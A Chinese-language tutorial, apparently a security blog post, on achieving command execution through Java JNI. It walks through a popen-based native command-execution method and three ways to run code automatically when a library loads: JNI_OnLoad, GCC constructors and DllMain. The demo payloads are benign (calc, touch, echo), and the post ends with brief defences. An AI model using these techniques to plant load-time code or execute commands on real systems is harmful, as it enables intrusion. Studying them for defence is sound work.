浅谈Java-JNI如何加载动态库时直接执行恶意代码
字数 1120 2025-08-22 12:23:19

Java JNI 动态库加载与恶意代码执行技术详解

一、JNI 基础概念

JNI (Java Native Interface) 是 Java 本地接口,它由三部分组成:

  • Java:Java 语言部分
  • Native:代表本地环境(Windows/Linux),通常指 C/C++ 实现
  • Interface:Java 与 Native 代码之间的通信接口

JNI 允许 Java 代码调用非 Java 代码(主要是 C/C++),实现 Java 与本地代码的交互。

二、利用 JNI 加载动态链接库实现 RCE

基本步骤

  1. 编写 Java 文件定义 native 方法
  2. 使用 javac 编译得到 .class 文件
  3. 使用 javah 处理 .class 文件生成 C 头文件
  4. 编写命令执行的 C 语言实现
  5. 将 C 代码编译为动态链接库(.so/.dll)
  6. Java 调用 System.loadLibrary 加载动态库

详细实现

1. 编写 Java 文件

public class EvilClass {
    public static native String execCmd(String cmd);
}

2. 编译 Java 文件

javac EvilClass.java

3. 生成 C 头文件

Java 10 之前:

javah -jni EvilClass

Java 10 及之后:

javac -h . EvilClass.java

生成的头文件 EvilClass.h 内容:

/* DO NOT EDIT THIS FILE - it is machine generated */
#include <jni.h>
/* Header for class EvilClass */

#ifndef _Included_EvilClass
#define _Included_EvilClass
#ifdef __cplusplus
extern "C" {
#endif

/*
 * Class: EvilClass
 * Method: execCmd
 * Signature: (Ljava/lang/String;)Ljava/lang/String;
 */
JNIEXPORT jstring JNICALL Java_EvilClass_execCmd
  (JNIEnv *, jclass, jstring);

#ifdef __cplusplus
}
#endif
#endif

4. 编写 C 实现

EvilClass.c 文件:

#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
#include "EvilClass.h"

int execmd(const char *cmd, char *result) {
    char buffer[1024*12];
    FILE *pipe = popen(cmd, "r"); // 打开管道执行命令
    if (!pipe) return 0;
    
    while(!feof(pipe)) {
        if(fgets(buffer, 128, pipe)) {
            strcat(result, buffer);
        }
    }
    pclose(pipe);
    return 1;
}

JNIEXPORT jstring JNICALL Java_EvilClass_execCmd(JNIEnv *env, jclass class_object, jstring jstr) {
    const char *cstr = (*env)->GetStringUTFChars(env, jstr, NULL);
    char result[1024*12] = "";
    
    if(1 == execmd(cstr, result)) {
        // 命令执行成功
    }
    
    char return_messge[100] = "";
    strcat(return_messge, result);
    jstring cmdresult = (*env)->NewStringUTF(env, return_messge);
    return cmdresult;
}

5. 编译动态链接库

Linux 下编译:

gcc -fPIC -I $JAVA_HOME/include -I $JAVA_HOME/include/linux -shared -o libcmd.so EvilClass.c

Windows 下编译:

gcc -fPIC -I "%JAVA_HOME%\include" -I "%JAVA_HOME%\include\win32" -shared -o libcmd.dll EvilClass.c

6. Java 加载并调用

public class Exp {
    public static void main(String[] args) {
        System.out.println(System.getProperty("java.library.path"));
        System.loadLibrary("libcmd");
        EvilClass example = new EvilClass();
        String res = example.execCmd("whoami"); // 调用native方法
        System.out.println(res);
    }
}

三、加载时直接执行恶意代码的三种方法

方法1:利用 JNI_OnLoad

JNI_OnLoad 是 JNI 提供的可选函数,在本地库被加载到 JVM 时自动调用。

C 代码实现:

#include <stdlib.h>
#include <jni.h>

JNIEXPORT jint JNICALL JNI_OnLoad(JavaVM *vm, void *reserved) {
    system("calc"); // Windows 下弹出计算器
    // system("touch success"); // Linux 下创建文件
    return JNI_VERSION_1_8;
}

Java 加载代码:

public class Exp {
    static {
        System.loadLibrary("libcmd");
    }
    
    public static void main(String[] args) {
    }
}

方法2:利用 __attribute__((constructor))

GCC/Clang 提供的扩展语法,标记的函数会在动态库加载时自动执行。

C 代码实现:

#include <stdio.h>
#include <stdlib.h>

void __attribute__((constructor)) myInitFunction() {
    system("calc");
}

方法3:Windows 下利用 DllMain

DllMain 是 Windows DLL 的入口点函数。

C 代码实现:

#include <Windows.h>
#include <stdlib.h>

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
    switch (ul_reason_for_call) {
        case DLL_PROCESS_ATTACH: // DLL加载时执行
            system("echo 'Rce Successfully!'");
            break;
        case DLL_PROCESS_DETACH: // DLL卸载时执行
            break;
        case DLL_THREAD_ATTACH:  // 线程连接时执行
            break;
        case DLL_THREAD_DETACH:  // 线程断开时执行
            break;
    }
    return TRUE;
}

四、关键注意事项

  1. JDK 版本匹配:编译动态库时使用的 JDK 版本必须与目标机器一致
  2. 库搜索路径
    • System.loadLibrary()java.library.path 中搜索库
    • System.load() 需要完整路径
  3. 平台差异
    • Linux 使用 .so 文件
    • Windows 使用 .dll 文件
  4. 安全风险:此类技术可被用于恶意目的,需谨慎使用

五、防御措施

  1. 限制动态库加载权限
  2. 验证动态库来源和完整性
  3. 使用安全管理器限制敏感操作
  4. 避免加载不可信的动态库

通过以上技术细节,可以深入理解 JNI 动态库加载机制及其潜在的安全风险。

Java JNI 动态库加载与恶意代码执行技术详解 一、JNI 基础概念 JNI (Java Native Interface) 是 Java 本地接口,它由三部分组成: Java :Java 语言部分 Native :代表本地环境(Windows/Linux),通常指 C/C++ 实现 Interface :Java 与 Native 代码之间的通信接口 JNI 允许 Java 代码调用非 Java 代码(主要是 C/C++),实现 Java 与本地代码的交互。 二、利用 JNI 加载动态链接库实现 RCE 基本步骤 编写 Java 文件定义 native 方法 使用 javac 编译得到 .class 文件 使用 javah 处理 .class 文件生成 C 头文件 编写命令执行的 C 语言实现 将 C 代码编译为动态链接库(.so/.dll) Java 调用 System.loadLibrary 加载动态库 详细实现 1. 编写 Java 文件 2. 编译 Java 文件 3. 生成 C 头文件 Java 10 之前: Java 10 及之后: 生成的头文件 EvilClass.h 内容: 4. 编写 C 实现 EvilClass.c 文件: 5. 编译动态链接库 Linux 下编译: Windows 下编译: 6. Java 加载并调用 三、加载时直接执行恶意代码的三种方法 方法1:利用 JNI_ OnLoad JNI_OnLoad 是 JNI 提供的可选函数,在本地库被加载到 JVM 时自动调用。 C 代码实现: Java 加载代码: 方法2:利用 __attribute__((constructor)) GCC/Clang 提供的扩展语法,标记的函数会在动态库加载时自动执行。 C 代码实现: 方法3:Windows 下利用 DllMain DllMain 是 Windows DLL 的入口点函数。 C 代码实现: 四、关键注意事项 JDK 版本匹配 :编译动态库时使用的 JDK 版本必须与目标机器一致 库搜索路径 : System.loadLibrary() 从 java.library.path 中搜索库 System.load() 需要完整路径 平台差异 : Linux 使用 .so 文件 Windows 使用 .dll 文件 安全风险 :此类技术可被用于恶意目的,需谨慎使用 五、防御措施 限制动态库加载权限 验证动态库来源和完整性 使用安全管理器限制敏感操作 避免加载不可信的动态库 通过以上技术细节,可以深入理解 JNI 动态库加载机制及其潜在的安全风险。